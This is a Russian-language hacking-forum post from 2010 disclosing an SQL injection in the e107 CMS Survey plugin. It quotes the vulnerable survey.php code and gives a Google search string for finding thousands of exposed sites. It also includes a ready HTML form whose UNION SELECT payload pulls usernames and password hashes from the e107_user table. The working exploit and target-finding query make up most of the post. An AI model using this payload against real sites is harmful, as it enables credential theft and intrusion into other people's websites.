Показать сообщение отдельно

  #57  
Старый 01.05.2010, 22:11
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Survey_46.zip v0.47 by yvalni
скачать
гугл- inurl:e107_plugins/survey
Результаты 1 - 10 из примерно 7 430

SQL inj
[path]/e107_plugins/survey/survey.php
PHP код:
...if($_POST['submit']){
    
$cnv = new convert;
    
$mailto_addresses "";
    
$submit_time time();
    
$mailtext LAN_SUR42.": ".$cnv -> convert_date($submit_time,"long")."\n\n";

    
$sql -> db_Select("survey","*","survey_id='{$_POST['survey_id']}' ");
    if(
$row $sql -> db_Fetch()){
        
extract($row);
    }
    if(
$survey_class != e_UC_PUBLIC && $survey_once){
        if(
already_voted($survey_user)){
            
$ns -> tablerender("Error - {$survey_name}",LAN_SUR2);
            require_once(
FOOTERF);
            exit;
        }
    }... 
Самое интересное что survey_id можно и не знать,
данные вместе с ошибкой вылазят (есть принтабельное поле!)

Результат:
<form action="http://[host]/[path]/e107_plugins/survey/survey.php" method=post>
<input type=text name=survey_id value="-2' union select 1,concat_ws(0x3a,user_loginname,user_password ),3,4,5,6,7,8,9,10,11,12,13,14 from e107_user limit 0,1-- ">
<input type=submit name=submit>
</form>

Условие: mg=off

Последний раз редактировалось Strilo4ka; 01.05.2010 в 22:21..
 
Ответить с цитированием